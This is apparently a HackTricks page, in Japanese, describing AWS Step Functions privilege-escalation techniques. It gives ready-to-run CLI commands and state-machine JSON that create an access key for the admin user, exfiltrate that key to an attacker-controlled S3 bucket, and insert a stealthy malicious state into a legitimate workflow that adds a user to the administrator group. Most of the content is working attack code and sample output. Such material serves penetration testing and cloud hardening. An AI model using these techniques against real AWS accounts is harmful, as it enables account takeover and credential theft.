# AWS - Step Functions Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Step Functions
このAWSサービスに関する詳細情報は、以下を確認してください:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### タスクリソース
これらの特権昇格技術は、希望する特権昇格アクションを実行するために、いくつかのAWSステップファンクションリソースを使用する必要があります。
すべての可能なアクションを確認するには、自分のAWSアカウントに移動し、使用したいアクションを選択して、そのパラメータを確認できます。例えば:
または、API AWSドキュメントに移動して、各アクションのドキュメントを確認することもできます:
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
### `states:TestState` & `iam:PassRole`
**`states:TestState`** および **`iam:PassRole`** 権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限を組み合わせることで、ワークフローの操作からデータの変更、データ漏洩、リソースの操作、特権昇格に至るまで、広範な不正行為が引き起こされる可能性があります。
```bash
aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
```
以下の例は、これらの権限とAWS環境の許可されたロールを利用して、**`admin`**ユーザーのアクセスキーを作成するステートをテストする方法を示しています。この許可されたロールには、ステートが**`iam:CreateAccessKey`**アクションを実行できるようにする高権限ポリシー(例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`**)が関連付けられている必要があります。
- **stateDefinition.json**:
```json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
```
- **コマンド** 実行して特権昇格を行う:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
```
**潜在的影響**: ワークフローの不正実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
**`states:CreateStateMachine`** と **`iam:PassRole`** を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (**`states:TestState`** & **`iam:PassRole`**) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために **`states:StartExecution`** または **`states:StartSyncExecution`** の権限が必要です (**`states:StartSyncExecution`** は **標準ワークフローには利用できず、** 表現ステートマシンのみに適用されます)。
```bash
# Create a state machine
aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\
[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
# Start a state machine execution
aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
```
以下の例は、**`admin`** ユーザーのアクセスキーを作成し、このアクセスキーを攻撃者が制御する S3 バケットに流出させるステートマシンを作成する方法を示しています。これには、これらの権限と AWS 環境の許可されたロールを利用します。この許可されたロールには、ステートマシンが **`iam:CreateAccessKey`** および **`s3:putObject`** アクションを実行できるようにする高権限ポリシー(例えば **`arn:aws:iam::aws:policy/AdministratorAccess`**)が関連付けられている必要があります。
- **stateMachineDefinition.json**:
```json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
```
- **コマンド** 実行して **ステートマシンを作成**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **コマンド**は、以前に作成したステートマシンの**実行を開始**するために実行されました:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
```
> [!WARNING]
> 攻撃者が制御するS3バケットは、被害者アカウントからのs3:PutObjectアクションを受け入れる権限を持っている必要があります。
**潜在的な影響**: ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
### `states:UpdateStateMachine` & (必ずしも必要ではない) `iam:PassRole`
**`states:UpdateStateMachine`** 権限を持つ攻撃者は、ステートマシンの定義を変更でき、特権昇格につながる追加のステルス状態を追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のあるステルス状態が実行され、特権昇格が成功します。
ステートマシンに関連付けられたIAMロールがどれだけ許可的であるかによって、攻撃者は2つの状況に直面します。
1. **許可的なIAMロール**: ステートマシンに関連付けられたIAMロールがすでに許可的である場合(例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されている場合)、特権を昇格させるために**`iam:PassRole`** 権限は必要ありません。ステートマシンの定義を更新する必要がないため、ステートマシンの定義だけで十分です。
2. **許可的でないIAMロール**: 前のケースとは対照的に、ここでは攻撃者は**`iam:PassRole`** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。
```bash
aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \
[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
```
以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー **`unprivilegedUser`** を **`administrator`** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。
> [!WARNING]
> ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するには **`iam:PassRole`** 権限も必要です(例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されたものなど)。
{{#tabs }}
{{#tab name="Legit State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}
{{#tab name="Malicious Updated State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "AddUserToGroup"
},
"AddUserToGroup": {
"Type": "Task",
"Parameters": {
"GroupName": "administrator",
"UserName": "unprivilegedUser"
},
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}
{{#endtabs }}
- **コマンド** 実行して **正当なステートマシン** を **更新**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**潜在的な影響**: ワークフローの不正な実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
{{#include ../../../banners/hacktricks-training.md}}